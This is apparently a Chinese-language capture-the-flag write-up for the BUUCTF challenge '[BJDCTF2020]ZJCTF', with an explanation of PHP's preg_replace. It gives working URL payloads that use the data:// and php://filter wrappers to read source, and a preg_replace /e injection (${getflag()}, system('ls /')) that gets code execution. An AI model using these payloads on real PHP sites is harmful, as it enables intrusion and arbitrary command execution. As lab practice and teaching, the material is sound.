BUUCTF-Web-[BJDCTF2020]ZJCTF,不过如此
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助
打开靶机,给了我们一段源码,
第一个if判断条件可以用data协议进行绕过,
1 | ?text=data://text/plain,I have a dream |

根据提示需要读取next.php文件,直接读取没有什么信息,需要使用php://filter伪协议,
1 | ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php |

base64解码,
1 |
|
pre_replace()
preg_replace() 是 PHP 中一个强大的正则表达式替换函数,用于执行基于正则表达式的搜索和替换操作。
基本语法:
1 | mixed preg_replace ( |
$pattern - 要搜索的正则表达式模式
可以是字符串或字符串数组
通常用分隔符包围,如 /pattern/$replacement - 替换的字符串或字符串数组
可以包含反向引用(如 \\1, \\2 等)
也可以是回调函数(PHP 5.5.0+)$subject - 要搜索替换的目标字符串或字符串数组$limit (可选) - 最大替换次数
默认 -1 表示无限制$count (可选) - 如果指定,将被填充为完成的替换次数
基本替换
1 | $str = "Hello World"; |
preg_replace中使用/e修饰符,这会导致替换字符串被当作PHP代码执行
主要审计这部分代码
1 | function complex($re, $str) { |
1.正则表达式构建 '/(' . $re . ')/ei'
将用户输入的 $re 作为正则表达式的一部分
用括号 () 捕获匹配的内容(组1)
/e 修饰符使替换字符串被当作PHP代码执行
/i 修饰符表示不区分大小写
2.替换部分'strtolower("\\1")'
\\1表示正则匹配的第一个捕获组
表面上看是将匹配的内容转换为小写
在正则表达式替换中:\1 表示反向引用,指向正则表达式中第一个捕获组(第一个括号匹配的内容)
在PHP字符串中,由于反斜杠需要转义,所以写成\\1
构造payload:
1 | /next.php?\S*=${getflag()}&cmd=system('ls /'); |
构造的正则表达式:
1 | preg_replace('/(\S*)/ei', 'strtolower("\\1")', "${getflag()}"); |
\S* 表示”匹配任意长度的非空白字符序列”,确保能捕获到 ${getflag()} 这部分,
PHP在双引号字符串中会解析 ${} 语法,
由于/e修饰符和${}的PHP可变变量特性:${getflag()}会被当作PHP代码执行,
从而调用getflag()函数,

获得flag
